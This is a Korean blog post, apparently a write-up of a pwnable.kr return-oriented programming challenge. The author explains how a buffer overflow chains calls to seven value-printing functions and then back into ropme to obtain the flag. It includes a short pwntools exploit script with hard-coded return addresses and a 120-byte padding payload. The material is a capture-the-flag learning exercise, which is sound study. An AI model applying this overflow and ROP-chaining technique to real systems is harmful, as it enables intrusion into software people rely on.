바이너리 실행파일만 줌
분석해보면 메인에서
init_ABCDEFG를 통해 데이터 세그먼트에 7개(각 4바이트)에 값을 넣고
해당 값과 멘트를 출력해주는 A~G까지 7개의 함수가 존재한다.
ropme라는 함수에서는 입력을 2번 받는데,
2번째 입력받는 값이 위 7개 값의 합과 같을 경우
flag를 알려주는 형태로 되어있다.
해당 값들은 rand함수로 생성하는데
seed를 /dev/urandom을 이용해서 받고 있으므로
브루트 포싱은 안 되고 데이터 leak을 해야 된다.
ropme 안에서 A~G의 함수가 조건문에 따라서 호출되는 경우가 있는데,
처음에 조건을 동시에 만족시킬 수가 없어서 무시했음
(입력값 중에 첫번째 입력값도 딱히 의미 없어서 저것도 그냥 더미 코드라고 생각)
우선 rop면 무조건 가젯을 사용한다고 생각해서
read 함수 같은 거로 리턴할 스택을 덮고, P*R 가젯을 이용해서
플래그를 읽는 곳으로 점프해야한다고만 생각했다.
근데 코드 영역의 주소가 중간에 \x0a가 들어가고 해당 부분은
gets()의 종료값으로 인식되므로 어떻게 전해줘야할지 몰라서
계속 삽질하다가 답 검색 => A함수 호출하는 거 까지 보게 됐고
A호출해서 뭐하지?
아.. 값을 알려주네(출력해줌)
알파벳 함수를 다 호출하고 다시 ropme를 호출만 하면 끝나네...
라는 걸 깨달음...
한 번 잘못된 생각에 빠져서 아마 계속 못풀었을 것 같긴 하지만
보고 푼 게 좀 기분 나쁜 문제.
그래도 ROP의 개념을 너무 협소하게만 생각하다가, 더 넓게
가젯을 사용한다 => 기존의 모든 코드를 사용 가능하다로
재정리할 수 있었던 계기이기는 하다.
다음은 exploit 코드
from pwn import *
from struct import pack
p = lambda x : pack("<L", x)
s = remote('localhost', 9032)
A = p(0x809fe4b)
B = p(0x809fe6a)
C = p(0x809fe89)
D = p(0x809fea8)
E = p(0x809fec7)
F = p(0x809fee6)
G = p(0x809ff05)
ropme = p(0x0809fffc)
payload = "7 "
payload+= "A"*120
payload+= A
payload+= B
payload+= C
payload+= D
payload+= E
payload+= F
payload+= G
payload+= ropme
s.sendline(payload)
s.interactive()
해당 코드 실행 후 출력값들 더해서
전달해줬다.
이거 이렇게 하나? 라고 생각하면서 빨리 해보고 싶어서 그냥 진행했는데
다 하고 풀이 검색해보니, 거의 다(아마 전부?)
다시 코드로 입력받은 값 자동으로 더하고,
다시 전달해주는 식으로 exploit 코드를 짰다.
그리고 scp라는 거로 바이너리 파일 뽑아와서 IDA 같은 거로 더 쉽게 분석하는 방식도 사용하더라
팁 굳굳
'Pwnable.kr' 카테고리의 다른 글
Pwnable.kr[ascii_easy] (0) | 2019.09.14 |
---|---|
Pwnable.kr [fsb] (0) | 2019.05.21 |
Pwnable.kr [blukat] (0) | 2019.05.15 |
Pwnable.kr [unlink] (0) | 2019.05.14 |
Pwnable.kr [asm] (0) | 2019.05.08 |